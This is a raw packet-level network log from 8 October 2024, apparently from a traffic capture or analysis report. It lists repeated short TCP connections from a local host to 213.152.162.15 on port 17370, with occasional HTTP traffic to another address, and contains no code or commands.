Oct 8, 2024 02:39:53.556471109 CEST	17370	64046	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:53.661065102 CEST	64047	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:53.666332006 CEST	17370	64047	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:53.671147108 CEST	64047	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:53.714638948 CEST	64047	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:53.719613075 CEST	17370	64047	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:53.721174002 CEST	64047	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:53.726161957 CEST	17370	64047	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:54.023521900 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:54.113972902 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:54.441107035 CEST	17370	64047	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:54.441306114 CEST	64047	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:54.441354036 CEST	64047	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:54.448405981 CEST	17370	64047	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:54.551698923 CEST	64048	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:54.556988955 CEST	17370	64048	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:54.557209015 CEST	64048	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:54.568850994 CEST	64048	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:54.573788881 CEST	17370	64048	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:54.574008942 CEST	64048	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:54.579019070 CEST	17370	64048	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:55.289954901 CEST	17370	64048	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:55.290163040 CEST	64048	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:55.290258884 CEST	64048	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:55.295227051 CEST	17370	64048	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:55.395512104 CEST	64049	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:55.401767969 CEST	17370	64049	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:55.401876926 CEST	64049	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:55.412914991 CEST	64049	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:55.417793036 CEST	17370	64049	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:55.417889118 CEST	64049	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:55.422813892 CEST	17370	64049	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.119992971 CEST	17370	64049	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.120073080 CEST	64049	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.120174885 CEST	64049	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.125092983 CEST	17370	64049	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.223581076 CEST	64050	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.228552103 CEST	17370	64050	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.228743076 CEST	64050	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.238581896 CEST	64050	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.243494034 CEST	17370	64050	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.243664026 CEST	64050	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.248488903 CEST	17370	64050	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.972239017 CEST	17370	64050	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:56.972311974 CEST	64050	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.972419977 CEST	64050	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:56.977256060 CEST	17370	64050	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.070302963 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:57.083069086 CEST	64052	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.088180065 CEST	17370	64052	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.088361979 CEST	64052	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.110582113 CEST	64052	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.113979101 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:57.115482092 CEST	17370	64052	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.115672112 CEST	64052	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.120527983 CEST	17370	64052	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.819475889 CEST	17370	64052	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.819535971 CEST	64052	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.819681883 CEST	64052	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.824434042 CEST	17370	64052	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.926558971 CEST	64054	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.931461096 CEST	17370	64054	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.931533098 CEST	64054	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.981107950 CEST	64054	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.986062050 CEST	17370	64054	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:57.986124039 CEST	64054	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:57.991285086 CEST	17370	64054	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:58.659534931 CEST	17370	64054	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:58.660819054 CEST	64054	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:58.660938978 CEST	64054	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:58.665955067 CEST	17370	64054	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:58.770404100 CEST	64060	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:58.775588989 CEST	17370	64060	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:58.779068947 CEST	64060	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:58.789199114 CEST	64060	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:58.794553995 CEST	17370	64060	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:58.795053005 CEST	64060	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:58.799957037 CEST	17370	64060	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:59.514915943 CEST	17370	64060	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:59.515136957 CEST	64060	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:59.515173912 CEST	64060	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:59.520721912 CEST	17370	64060	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:59.629748106 CEST	64066	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:59.636948109 CEST	17370	64066	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:59.637058973 CEST	64066	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:59.659184933 CEST	64066	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:59.664089918 CEST	17370	64066	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:59.664172888 CEST	64066	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:59.669325113 CEST	17370	64066	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:00.352571964 CEST	17370	64066	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:00.352763891 CEST	64066	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:00.352864027 CEST	64066	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:00.357793093 CEST	17370	64066	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:00.458049059 CEST	64072	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:00.463130951 CEST	17370	64072	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:00.463416100 CEST	64072	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:00.474625111 CEST	64072	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:00.479753971 CEST	17370	64072	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:00.479953051 CEST	64072	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:00.484893084 CEST	17370	64072	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:01.199625969 CEST	17370	64072	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:01.199856043 CEST	64072	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:01.199856043 CEST	64072	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:01.204838037 CEST	17370	64072	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:01.317241907 CEST	64078	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:01.322222948 CEST	17370	64078	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:01.322290897 CEST	64078	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:01.337521076 CEST	64078	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:01.342600107 CEST	17370	64078	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:01.342644930 CEST	64078	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:01.347680092 CEST	17370	64078	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:02.032762051 CEST	17370	64078	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:02.032829046 CEST	64078	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:02.050323963 CEST	64078	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:02.055210114 CEST	17370	64078	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:02.183049917 CEST	64083	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:02.188488960 CEST	17370	64083	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:02.188672066 CEST	64083	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:02.472094059 CEST	64083	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:02.711833954 CEST	17370	64083	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:02.712033033 CEST	64083	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:02.718009949 CEST	17370	64083	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.087136984 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:03.092112064 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:03.111737967 CEST	17370	64083	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.113930941 CEST	64083	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.114047050 CEST	64083	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.119033098 CEST	17370	64083	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.160432100 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:03.165605068 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:03.189626932 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:03.223576069 CEST	64089	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.228662014 CEST	17370	64089	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.228738070 CEST	64089	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.240411043 CEST	64089	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.245310068 CEST	17370	64089	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.245367050 CEST	64089	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.250247955 CEST	17370	64089	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.276618958 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:03.276704073 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:03.951000929 CEST	17370	64089	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:03.955239058 CEST	64089	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.955240011 CEST	64089	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:03.960180998 CEST	17370	64089	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.067271948 CEST	64095	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.072515011 CEST	17370	64095	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.072599888 CEST	64095	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.082572937 CEST	64095	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.087691069 CEST	17370	64095	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.087764978 CEST	64095	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.092727900 CEST	17370	64095	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.802614927 CEST	17370	64095	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.802715063 CEST	64095	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.842499971 CEST	64095	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.847476006 CEST	17370	64095	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.983206987 CEST	64101	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:04.987987995 CEST	17370	64101	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:04.988092899 CEST	64101	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.110183001 CEST	64101	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.115096092 CEST	17370	64101	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:05.115155935 CEST	64101	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.119976997 CEST	17370	64101	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:05.721200943 CEST	17370	64101	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:05.721426010 CEST	64101	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.721616983 CEST	64101	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.726548910 CEST	17370	64101	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:05.833036900 CEST	64107	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.837881088 CEST	17370	64107	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:05.838095903 CEST	64107	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.848066092 CEST	64107	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.853147030 CEST	17370	64107	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:05.853318930 CEST	64107	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:05.858252048 CEST	17370	64107	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:06.555510044 CEST	17370	64107	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:06.559124947 CEST	64107	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:06.559237957 CEST	64107	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:06.564033031 CEST	17370	64107	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:06.676680088 CEST	64114	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:06.682430029 CEST	17370	64114	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:06.683099985 CEST	64114	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:06.694071054 CEST	64114	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:06.698884964 CEST	17370	64114	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:06.699100971 CEST	64114	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:06.704101086 CEST	17370	64114	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:07.549568892 CEST	17370	64114	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:07.549662113 CEST	64114	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:07.549900055 CEST	64114	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:07.554703951 CEST	17370	64114	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:07.695769072 CEST	64120	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:07.700777054 CEST	17370	64120	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:07.700840950 CEST	64120	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:07.923867941 CEST	64120	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:07.928843021 CEST	17370	64120	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:07.928900003 CEST	64120	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:07.933639050 CEST	17370	64120	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:08.414000034 CEST	17370	64120	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:08.414104939 CEST	64120	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:08.419817924 CEST	64120	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:08.424863100 CEST	17370	64120	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:08.489590883 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:08.535990953 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:08.536096096 CEST	64126	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:08.540973902 CEST	17370	64126	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:08.541039944 CEST	64126	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:08.552834988 CEST	64126	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:08.557617903 CEST	17370	64126	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:08.557833910 CEST	64126	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:08.562665939 CEST	17370	64126	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:08.591353893 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:08.801517010 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:09.262634039 CEST	17370	64126	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:09.262703896 CEST	64126	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:09.262792110 CEST	64126	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:09.267615080 CEST	17370	64126	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:09.379776955 CEST	64137	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:09.384864092 CEST	17370	64137	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:09.384952068 CEST	64137	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:09.395349026 CEST	64137	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:09.400439978 CEST	17370	64137	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:09.400520086 CEST	64137	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:09.405378103 CEST	17370	64137	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.138751030 CEST	17370	64137	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.139148951 CEST	64137	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.139272928 CEST	64137	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.144156933 CEST	17370	64137	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.254966974 CEST	64143	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.260190010 CEST	17370	64143	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.260272980 CEST	64143	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.270112991 CEST	64143	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.275006056 CEST	17370	64143	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.275067091 CEST	64143	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.279959917 CEST	17370	64143	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.976660013 CEST	17370	64143	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:10.979309082 CEST	64143	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.979309082 CEST	64143	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:10.984518051 CEST	17370	64143	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.082927942 CEST	64149	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.087929010 CEST	17370	64149	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.091139078 CEST	64149	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.101439953 CEST	64149	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.106364012 CEST	17370	64149	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.107130051 CEST	64149	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.111996889 CEST	17370	64149	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.809063911 CEST	17370	64149	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.811150074 CEST	64149	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.811248064 CEST	64149	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.816176891 CEST	17370	64149	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.926706076 CEST	64155	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.931715965 CEST	17370	64155	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.932379007 CEST	64155	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.943773031 CEST	64155	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.948817015 CEST	17370	64155	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:11.948880911 CEST	64155	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:11.953658104 CEST	17370	64155	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:12.686177969 CEST	17370	64155	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:12.687203884 CEST	64155	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:12.687303066 CEST	64155	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:12.692270041 CEST	17370	64155	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:12.801863909 CEST	64161	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:12.807267904 CEST	17370	64161	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:12.811285019 CEST	64161	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:12.821758032 CEST	64161	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:12.826797962 CEST	17370	64161	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:12.827249050 CEST	64161	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:12.832264900 CEST	17370	64161	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:13.541172981 CEST	17370	64161	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:13.541409969 CEST	64161	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:13.541409969 CEST	64161	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:13.546408892 CEST	17370	64161	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:13.645450115 CEST	64167	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:13.650326967 CEST	17370	64167	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:13.650402069 CEST	64167	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:13.672916889 CEST	64167	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:13.677927017 CEST	17370	64167	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:13.678055048 CEST	64167	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:13.683096886 CEST	17370	64167	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:14.060914993 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:14.065941095 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:14.162916899 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:14.271358967 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:14.550378084 CEST	17370	64167	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:14.551127911 CEST	64167	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:14.551250935 CEST	64167	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:14.555978060 CEST	17370	64167	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:14.661248922 CEST	64176	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:14.666394949 CEST	17370	64176	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:14.667236090 CEST	64176	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:14.687021971 CEST	64176	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:14.692302942 CEST	17370	64176	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:14.695131063 CEST	64176	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:14.699978113 CEST	17370	64176	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:15.442060947 CEST	17370	64176	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:15.442739964 CEST	64176	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:15.442739964 CEST	64176	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:15.447545052 CEST	17370	64176	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:15.551778078 CEST	64183	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:15.556643963 CEST	17370	64183	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:15.559457064 CEST	64183	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:15.570641041 CEST	64183	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:15.575592995 CEST	17370	64183	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:15.579272032 CEST	64183	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:15.584204912 CEST	17370	64183	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:15.814758062 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:15.819848061 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:15.916932106 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:16.114171028 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:16.302212000 CEST	17370	64183	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:16.302392960 CEST	64183	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:16.302393913 CEST	64183	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:16.307225943 CEST	17370	64183	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:16.411407948 CEST	64189	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:16.416412115 CEST	17370	64189	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:16.416481972 CEST	64189	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:16.470036030 CEST	64189	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:16.474874973 CEST	17370	64189	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:16.474997044 CEST	64189	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:16.479959011 CEST	17370	64189	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:17.147484064 CEST	17370	64189	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:17.147661924 CEST	64189	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:17.149753094 CEST	64189	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:17.154530048 CEST	17370	64189	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:17.254981041 CEST	64196	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:17.259939909 CEST	17370	64196	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:17.260004044 CEST	64196	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:17.285953999 CEST	64196	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:17.290864944 CEST	17370	64196	213.152.162.15	192.168.2.4
